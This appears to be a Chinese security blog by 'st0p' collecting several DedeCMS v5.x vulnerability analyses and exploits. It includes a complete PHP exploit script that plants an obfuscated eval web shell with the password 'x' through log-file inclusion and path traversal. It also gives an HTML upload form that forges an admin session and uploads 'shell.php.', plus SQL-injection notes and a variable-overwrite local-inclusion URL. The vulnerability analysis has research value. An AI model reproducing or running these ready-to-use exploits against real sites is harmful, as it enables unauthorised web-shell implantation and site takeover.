作者:st0p
转载请注明出处 http://www.st0p.org
老早就看到有人发的洞,一直想过写分析来着,最近一直呆在UBUNTU下安装东西。。老忘。。。
有时有些朋友加我,教他找洞。。。这个好似是个累活,而且运气占很大一部分。。。所以我还是尽量帮分析过程发出来吧,也方便我自己学习。
具体的EXP,请看:http://www.st0p.org/blog/archives/dedecms-5-5-datalistcp-class-php-contains-exp.html
以前呢,DEDECMS会把出错的SQL信息,写进mysql_error_trace.php,后来被大牛们爆出来了。就改名为mysql_error_trace.inc了。。。
没想到这次又被包含了。。。看来记录SQL信息也不是啥好事。。。
这个EXP的原理呢,是通过构造特殊的请求给plus/digg_ajax.php来达到写入我们的语句到mysql_error_trace.inc,当然可以满足我们这一步写入到mysql_error_trace.inc的文件还有不少。。不过想要执行他就不可能了。。然后这次报出的洞呢就是运气很好才能碰到的。。
关键代码存在于
/include/datalistcp.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| ...
$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
//通过isset函数检查$needCode是否已配置,如已配置则结果为$needCode,否则结果为$cfg_soft_lang
//当我们伪造结果为aa/../../../data/mysql_error_trace时
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
{
require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
//后缀是.inc
}
//检查文件是否存在,存在则包含。我们通过../成功跳转到到data目录,包含我们刚才构造过的mysql_error_trace.inc
//成功运行我们mysql_error_trace.inc在构造的语句。。。
... |
郁闷,前几次想写分析的时候官方还没补呢。。刚去官方看了下通过正则进行了修补
1
2
3
4
5
6
7
8
9
10
11
| $codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);
$codefile = preg_replace("/[\w-]/", '', $codefile);
//通过正则过滤了。。。
if(file_exists(DEDEINC.'/code/datalist.'.$codefile.'.inc'))
{
require_once(DEDEINC.'/code/datalist.'.$codefile.'.inc');
} |
来源于互联网,具体作者不详。看到好久了,一直是想写分析在发出来。老望。。。最近RSS订阅中好多这个,先发一下记录。有空分析,官方已修补。。
执行成功会在data/cache下生成t.php一句话小马
密码x
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
| <?php
print_r('
+----------------------------------------+
dedecms v5.5 final getwebshell exploit
+----------------------------------------+
');
if ($argc < 3) {
print_r('
+----------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to dedecms
Example:
php '.$argv[0].' localhost /dedecms/
+----------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time', 0);
$host = $argv[1];
$path = $argv[2];
$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(120).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*';
$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
if(substr($content,9,3)=='200'){
echo "\nShell Address is:".$host.$path.$shell;
}else{
echo "\nError.";
}
function get_send($url){
global $host, $path;
$message = "GET ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n\r\n";
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
function post_send($url,$cmd){
global $host, $path;
$message = "POST ".$path."$url HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: http://$host$path\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo "\nConnect to host Error";
}
fputs($fp, $message);
$back = '';
while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?> |
作者:st0p
转载请注明出处 http://www.st0p.org
今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/
自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..
而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..
我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...
看了一下/include/dialog/select_soft_post.php
问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| ......
//文件名(前为手工指定, 后者自动处理)
if(!empty($newname))
{
$filename = $newname; //当我们的新名称为st0p.php.的时候
if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
else $fs = explode('.', $filename); //当$filename中含有.时调用
if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
{
ShowMsg("你指定的文件名被系统禁止!",'javascript:;');
exit();
}
if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
$fs = explode('.', $uploadfile_name);
if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
{
ShowMsg("你上传了某些可能存在不安全因素的文件,系统拒绝操作!",'javascript:;');
exit();
}
$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败!");
@unlink($uploadfile);
...... |
EXP如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
var form = document.forms[0];
form.action = form.target.value + form.path.value;
tmpstr = form.target.value +'/'+ form.newname.value;
form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
form.submit();
}
</script>
<style type="text/css">
<!--
body {
text-align: center;
}
-->
</style>
</head>
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
<p>
<input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
<input type="hidden" name="bkurl" value="1" />
<label>Target:
<input name="target" type="text" id="target" value="http://target" />
</label>
<label>Path:
<input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
</label>
<label>File:
<input type="file" name="uploadfile" id="uploadfile" />
</label>
<label>NewName:
<input name="newname" type="text" id="newname" value="shell.php." />
</label>
<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
</p>
</form>
</body>
</html> |
作者:st0p
可以转载,不过请注明出处http://www.st0p.org
由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块
首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| < ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') ";
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?> |
上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read the rest of this entry
Tags:
入侵, 0day, dedecms, magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story_stow.php, 注入.
作者:st0p
在此记录一下,嘿嘿,这个洞可是杰少偶们两发现的哦。。。相当YD吧,而且还帮我找到了两个ROOT权限。。
此漏洞为st0p和杰少发现,版权没有,欢迎转载!
为啥叫XDAY不叫0DAY呢,因为这个洞比较乱,涵盖的版本比较多,但却用处不大,相当鸡肋,不过利用好了还是有点效果的。。
正无聊时发现YD的杰少发来消息,说他发现了DEDECMS一个很鸡肋的东西,include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台。
看到消息后我脑子里就有了个YD的想法,会不会官方也存在,然后马上打开http://www.dedecms.com/include/dialog/select_soft.php,可惜的是官方会提示你输入后理目录,不会转向。如图1

失望啊,不过在和杰少的聊天中得知安全中国存在这个问题,于是打开http://www.anqn.com/include/dialog/select_soft.php,果然转向了,如图2

看到没,后台地址是article_6565998um9)-_这个,标题栏是delphi V53_1_GBK,DELPHI成文章系统了。。下面去还有织梦的图片。。。。
既然存在,赶快去官方下载了最新的DedeCMS V5.5正式版,DedeCMS V5.3.1和DedeCmsV5.1FreeSP1这三个版本,然后本地架设起来,分别对select_soft.php文件分析了一下,让我发现了更有趣的东西。
首先咱们看DedeCmsV5.1FreeSP1这个版本吧,关键代码如下
include/dialog/select_soft.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| < ?php
require_once(dirname(__FILE__)."/config.php");//这里面检测了是否已登入
if(empty($activepath)) $activepath = "";
$activepath = str_replace("..","",$activepath); //过滤了..但没过滤.
$activepath = ereg_replace("^/{1,}","/",$activepath);
if(strlen($activepath)<strlen($cfg_soft_dir)){
$activepath = $cfg_soft_dir;
}
//如果得到的路径值长度小于设置中的$cfg_soft_dir值的长度那么把$activepath等于$cfg_soft_dir,系统默认为/uploads/soft
//注意看这里,如果这个值大于$cfg_soft_dir值的长度的时候就会跳过去了,$cfg_soft_dir存在于include/config_base.php
$inpath = $cfg_basedir.$activepath;
$activeurl = "..".$activepath;
if(empty($f)) $f="form1.enclosure";
if(empty($comeback)) $comeback = "";
?> |
Read the rest of this entry
by:xhming
common.inc.php
1
2
3
4
5
6
7
8
9
10
11
12
| foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) ) //可绕过cfg_|GLOBALS限制
{
exit('Request var not allow!');
}
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); //可任意覆盖变量关键是_打头的变量
} |
覆盖_FILES[]可导置本地包含漏洞(gpc/off);
例:
h tt p://127.0.0.1/dedecms/plus/vote.php?aid=1&_FILES=1&_FILES[cfg_templets_dir][name]=&_FILES[cfg_templets_dir][type]=1&_FILES[cfg_templets_dir][size]=200&&_FILES[cfg_templets_dir][tmp_name]=/dedecms/
另一处可能注入:
1
2
3
| if($rs)
{
$bv->dsql->ExecuteNoneQuery("Update #@__member Set money=money-{$cfg_book_money} where id='{$ml->M_ID}' "); |
也是利用_FILE覆盖$cfg_book_money.